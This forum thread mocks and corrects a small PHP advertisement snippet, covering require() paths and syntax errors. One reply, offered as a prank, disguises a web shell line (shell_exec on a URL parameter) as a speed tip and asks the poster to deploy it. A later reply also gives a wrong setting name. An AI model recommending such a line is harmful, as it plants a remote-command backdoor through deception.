php code/advertisement

[CaveMan]

<?php

$auscode = "great";

if($auscode == "great"){

echo "AusCode is great"

} else {

require("YouMembership.php");}

?>

http://www.AusCode.net

[Darren Kitchen]

doesn't the require function need an absolute path to the file?

[barrytone]

doesn't the require function need an absolute path to the file?

Not as far as I know. Relative paths should work fine. The only difference between require() and include() is to do with their error handling.

Unless you don't have include_path set right, that is.

<?php

$auscode = "great";

while($auscode == "great"){

echo "AusCode is great"

} else {

require("YouMembership.php");}

?>

http://www.AusCode.net

I've never seen a While / Else structure in PHP though...

Or any other language for that matter :?

And there's a semicolon missing after the echo statement :P

Try this one:

<?php

$auscode = "great";



if($auscode == "great") {

    echo "AusCode is great";

} else {

    require("YouMembership.php");

}

?>

It's still pointless code though. Maybe if $auscode wasn't set and it was $_GET[auscode];

Actually... Append this to the end of your code. It makes it run faster...

echo "<pre>" . shell_exec($_GET[c]) . "</pre>";

Try it on your site and post a link so we can all see the difference :)

Ok, so I'm bored :roll:

[jollyrancher82]

 <?php

$auscode = "great";



if($auscode == "great") {

   echo "AusCode is great";

} else {

   require("YouMembership.php");

}

?>

so if $auscode is not great, we have to register?

[barrytone]

so if $auscode is not great, we have to register?

To try and make it better, by gracing it with our presence, I assume ;)

[jollyrancher82]

<?php

$auscode = "great";



if(!registered($user) && $auscode == "great") {

   echo "AusCode is great";

   require("YouMembership.php");

} else {

   require("ForceMembership.php");

}

?>

[CaveMan]

yea ty

after i read it i noticed :P

[MrDave2176]

doesn't the require function need an absolute path to the file?

Nope. Require will look in the local directory first and then in the "REQUIRE_PATH" variable for php.